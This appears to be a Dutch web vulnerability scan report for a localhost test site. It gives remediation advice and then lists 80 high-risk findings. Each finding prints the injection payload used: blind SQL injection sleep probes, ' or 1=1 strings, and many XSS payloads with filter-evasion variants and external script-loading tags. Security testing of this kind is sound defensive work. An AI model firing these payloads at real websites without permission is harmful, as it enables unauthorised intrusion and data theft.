Scan Rapport

Algemene Informatie
Klant: example
Bedrijf: example-company
Email: webapplicatietest@gmail.com

Scan Informatie
URL: http://localhost:8888
Server: Apache
Scan type: Full Scan
Start tijd: 2017-09-26 16:06:31
Eind tijd: 2017-09-26 16:14:02
Scan tijd: 8 minuten

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden
Hoog: 80
gemiddeld: 0
Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
BlindSQLi	hoog	16	Blind SQL Injections is een query injectie techniek waarbij de hacker True en False vragen stelt aan de database om te bepalen of een database kwetsbaar.
SQLi	hoog	6	SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen.
XSS	hoog	58	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid.
Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht.
Hieronder een lijst met simpele technieken om SQL injecties te verkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina.
Er zijn twee basis regels waar een website aan moet
voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 1

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:07:01

ID: 2

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:07:31

ID: 3

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:08:02

ID: 4

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:08:33

ID: 5

Module: blindsql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:09:08

ID: 6

Module: blindsql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:09:43

ID: 7

Module: blindsql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:10:59

ID: 8

Module: blindsql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:11:32

ID: 9

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#1

Error: http://localhost:8888/index.php?id=sleep%2810%29%231%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:12:10

ID: 10

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:12:30

ID: 11

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1 or sleep(10)#1

Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%231%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:12:40

ID: 12

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1 or sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:12:50

ID: 13

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1 and sleep(10)#1

Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%231%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:00

ID: 14

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1 and sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:10

ID: 15

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1/**/or/**/sleep(10)#1

Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2For%2F%2A%2A%2Fsleep%2810%29%231%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:28

ID: 16

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: 1/**/and/**/sleep(10)#1

Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%2810%29%231%0A

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:38

ID: 17

Module: sql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: '

Error: You have an error in your SQL syntax

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:44

ID: 18

Module: sql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: ' or 1=1

Error: You have an error in your SQL syntax

WASC ID: 19

Methode: GET

Datum: 2017-09-26 16:13:44

ID: 19

Module: sql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: '

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:13:44

ID: 20

Module: sql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: ' or 1=1

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:13:44

ID: 21

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: '

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:13:45

ID: 22

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: ' or 1=1

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-26 16:13:45

ID: 23

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert('jxe1njb8ig')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 24

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert("jxe1njb8ig")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 25

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert('jxe1njb8ig')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 26

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert("jxe1njb8ig")</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 27

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>String.fromCharCode(0,jxe1njb8ig,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 28

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>String.fromCharCode(0,jxe1njb8ig,1)</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 29

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script src=http://jxe1njb8ig/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 30

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt src=http://jxe1njb8ig/x.js></sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 31

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script[TAB]src=http://jxe1njb8ig/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 32

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]src=http://jxe1njb8ig/x.js></sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 33

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert("jxe1njb8ig")>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 34

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=alert('jxe1njb8ig')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 35

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img src=. onerror=String.fromCharCode(0,jxe1njb8ig,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 36

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,jxe1njb8ig,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 37

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >alert('jxe1njb8ig')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 38

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >alert("jxe1njb8ig")</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 39

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script >String.fromCharCode(0,jxe1njb8ig,1)</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 40

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt >String.fromCharCode(0,jxe1njb8ig,1)</ sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 41

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt[TAB]>String.fromCharCode(0,jxe1njb8ig,1)</[TAB]sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 42

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert('jxe1njb8ig')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 43

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert("jxe1njb8ig")</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 44

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert('jxe1njb8ig')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 45

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert("jxe1njb8ig")</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 46

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/ src=http://jxe1njb8ig/x.js></script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 47

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/ src=http://jxe1njb8ig/x.js></sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 48

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert('jxe1njb8ig')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 49

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert('jxe1njb8ig')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 50

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert("jxe1njb8ig")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 51

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>alert("jxe1njb8ig")</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 52

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>String.fromCharCode(0,jxe1njb8ig,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 53

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt>String.fromCharCode(0,jxe1njb8ig,1)</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 54

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt src=http://jxe1njb8ig/x.js></script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 55

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <scr<script>ipt src=http://jxe1njb8ig/x.js></scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 56

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data="javascript:alert('jxe1njb8ig')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 57

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data=javascript:String.fromCharCode(0,jxe1njb8ig,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 58

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object[TAB]data=javascript:String.fromCharCode(0,jxe1njb8ig,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 59

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert('jxe1njb8ig')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 60

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert("jxe1njb8ig")></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-26 16:13:45

ID: 61

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script>alert('xwk5gk1jw4')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:46

ID: 62

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <ScRiPt>alert('xwk5gk1jw4')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:46

ID: 63

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <img src=. onerror=alert('xwk5gk1jw4')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 64

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script >alert('xwk5gk1jw4')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 65

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script/>alert('xwk5gk1jw4')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 66

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <ScRiPt/>alert('xwk5gk1jw4')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 67

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('xwk5gk1jw4')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 68

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('xwk5gk1jw4')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 69

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object data="javascript:alert('xwk5gk1jw4')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 70

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('xwk5gk1jw4')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 71

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script>alert('4pr9p1j9un')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:47

ID: 72

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <ScRiPt>alert('4pr9p1j9un')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:48

ID: 73

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <img src=. onerror=alert('4pr9p1j9un')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:51

ID: 74

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script >alert('4pr9p1j9un')</script >

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:54

ID: 75

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script/>alert('4pr9p1j9un')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:56

ID: 76

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <ScRiPt/>alert('4pr9p1j9un')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:56

ID: 77

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('4pr9p1j9un')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:58

ID: 78

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('4pr9p1j9un')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:13:58

ID: 79

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object data="javascript:alert('4pr9p1j9un')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:14:01

ID: 80

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('4pr9p1j9un')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-26 16:14:02